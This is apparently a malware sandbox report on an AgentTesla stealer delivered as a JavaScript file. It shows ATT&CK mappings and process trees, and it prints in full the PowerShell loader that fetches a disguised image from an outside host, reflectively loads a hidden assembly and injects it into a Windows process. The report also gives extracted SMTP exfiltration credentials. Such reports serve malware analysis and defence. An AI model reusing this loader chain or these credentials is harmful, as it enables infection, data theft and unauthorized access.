agenttesla | hxxps://cdn[.]discordapp[.]com/attachments/1240773040221196319/1242622210988838922/Purchase[.]js?ex=664e819d&is=664d301d&hm=9831c346d913e255806aeb7c08f8a43cde2fe4bccbad9a77bf74f9f9d6e22e9e&

Analysis

max time kernel
87s
max time network
85s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 09:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://cdn.discordapp.com/attachments/1240773040221196319/1242622210988838922/Purchase.js?ex=664e819d&is=664d301d&hm=9831c346d913e255806aeb7c08f8a43cde2fe4bccbad9a77bf74f9f9d6e22e9e&

Score

10^/10

agenttesla execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
boydjackson.org
Port:
587
Username:
[email protected]
Password:
Bukky101@
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

30 5068 WScript.exe
32 5068 WScript.exe
36 3504 powershell.exe
44 3504 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

532 powershell.exe
3504 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation WScript.exe

flow	pid	process
30	5068	WScript.exe
32	5068	WScript.exe
36	3504	powershell.exe
44	3504	powershell.exe

pid	process
532	powershell.exe
3504	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\File_Name_JS.js"	powershell.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

46 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3504 set thread context of 1648 3504 powershell.exe AddInProcess32.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
46	ip-api.com

description	pid	process	target process
PID 3504 set thread context of 1648	3504	powershell.exe	AddInProcess32.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133608424444293964"	chrome.exe

Modifies registry class 1 IoCs

Processes:

chrome.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings chrome.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

Notepad.exe

pid process

4440 Notepad.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings	chrome.exe

pid	process
4440	Notepad.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

chrome.exepowershell.exepowershell.exeAddInProcess32.exe

pid	process
920	chrome.exe
920	chrome.exe
532	powershell.exe
532	powershell.exe
532	powershell.exe
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
1648	AddInProcess32.exe
1648	AddInProcess32.exe
1648	AddInProcess32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

Processes:

chrome.exe

pid process

920 chrome.exe
920 chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exepowershell.exepowershell.exeAddInProcess32.exe

description	pid	process
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeDebugPrivilege	1648	AddInProcess32.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe
Token: SeCreatePagefilePrivilege	920	chrome.exe
Token: SeShutdownPrivilege	920	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

Processes:

chrome.exe

pid	process
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

chrome.exe

pid	process
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe
920	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 920 wrote to memory of 3688	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3688	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3340	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3476	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 3476	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe
PID 920 wrote to memory of 5092	920	chrome.exe	chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/1240773040221196319/1242622210988838922/Purchase.js?ex=664e819d&is=664d301d&hm=9831c346d913e255806aeb7c08f8a43cde2fe4bccbad9a77bf74f9f9d6e22e9e&
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:920

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa1e7eab58,0x7ffa1e7eab68,0x7ffa1e7eab78
2⤵
PID:3688

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=268 --field-trial-handle=1892,i,6976033741531611367,2678979836643740893,131072 /prefetch:2
2⤵
PID:3340

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1892,i,6976033741531611367,2678979836643740893,131072 /prefetch:8
2⤵
PID:3476

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2240 --field-trial-handle=1892,i,6976033741531611367,2678979836643740893,131072 /prefetch:8
2⤵
PID:5092

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2992 --field-trial-handle=1892,i,6976033741531611367,2678979836643740893,131072 /prefetch:1
2⤵
PID:412

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3000 --field-trial-handle=1892,i,6976033741531611367,2678979836643740893,131072 /prefetch:1
2⤵
PID:4104

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4756 --field-trial-handle=1892,i,6976033741531611367,2678979836643740893,131072 /prefetch:8
2⤵
PID:4288

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4920 --field-trial-handle=1892,i,6976033741531611367,2678979836643740893,131072 /prefetch:8
2⤵
PID:1768

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4208 --field-trial-handle=1892,i,6976033741531611367,2678979836643740893,131072 /prefetch:8
2⤵
PID:4044

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Purchase.js"
2⤵
- Blocklisted process makes network request
- Checks computer location settings
PID:5068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LmdvbC80MzEuMDcuNjEyLjU4MS8vOnB0dGgnICwgJzEnICwgJ0M6XFByb2dyYW1EYXRhXCcgLCAnRmlsZV9OYW1lX0pTJywnQWRkSW5Qcm9jZXNzMzInLCdkZXNhdGl2YWRvJykpfX0=';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.gol/431.07.612.581//:ptth' , '1' , 'C:\ProgramData\' , 'File_Name_JS','AddInProcess32','desativado'))}}"
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3504

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\File_Name_JS.js"
5⤵
PID:3716

C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:2568

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2396

C:\Windows\System32\Notepad.exe
"C:\Windows\System32\Notepad.exe" C:\Users\Admin\Downloads\Purchase.js
1⤵
- Opens file in notepad (likely ransom note)
PID:4440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Filesize
1KB

MD5
7b8ea6b126a819db2e573aa8653a299f

SHA1
8eb816326d019765c3c0e7a079ed0719a3368905

SHA256
72adf5cb18f58f4fcbf829e5dbaa071c5d2eceab8ba088924a3c88e0ca02f1d4

SHA512
11e73bcf96813aab1653ad982548678e4cb7cfae5535876f16c94576a2fcb5a826ac70e8434408c1fad10672a4dfb8307b7563cfa5b9a84593b5c4998293a174

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
5d1dc0465bdadd8d0ce024a717f09315

SHA1
a63533ffc415c547cd3b43643ee08ee848bd127a

SHA256
8b6ee5ed142db3ce421d58a236d69ae668938ccf53f20184d55fa47fc3041f2e

SHA512
b65f3629d5fb1d49cbd4bfab35fb040fa28013b8fac2ae29a4ab4312e1ebb2ad2832e73e4ed3abc017126f0c28bcb9014d770eeecd1c09012cee6cd53afcb751

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Filesize
130KB

MD5
470790c2526b67e0a9beab93e1b623f4

SHA1
6aecaac9bbf0657fcdeed7ec887d5931694baaab

SHA256
fbe601c93fd715e6f68360dbc56b3352665d3401333e6c472d456a7dc2b1b75a

SHA512
3ac275d2467fbf3f94f845803e041ef69c4123587d2bd038bb4b9a7be201b6e43dc569fbf2543ccdebeb9b6be410f9784369721642c8b2e0a3d91b600b16d8ab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
a2b24af1492f112d2e53cb7415fda39f

SHA1
dbfcee57242a14b60997bd03379cc60198976d85

SHA256
fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

SHA512
9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d4qlvctm.t5v.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\Purchase.js
Filesize
6KB

MD5
529136e46b91c14c93c6941a9bb5de46

SHA1
7cf6e5e44ddafbfcb27ac5b157ecd2fa345def60

SHA256
7928401e8496670e9aa4df53681e08b2b06755f25aa72aa45bb9e3d082f835ff

SHA512
b50f2b4ccbb19f578472666a52d896869cf75ecd982825520662cf20f38b34fd2ca5f565e57af10f056803d16ba598eaf52854f5be8297b42a6d73fdffd77d53

Download Submit
\??\pipe\crashpad_920_CPULDRPUERMVSCWU
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
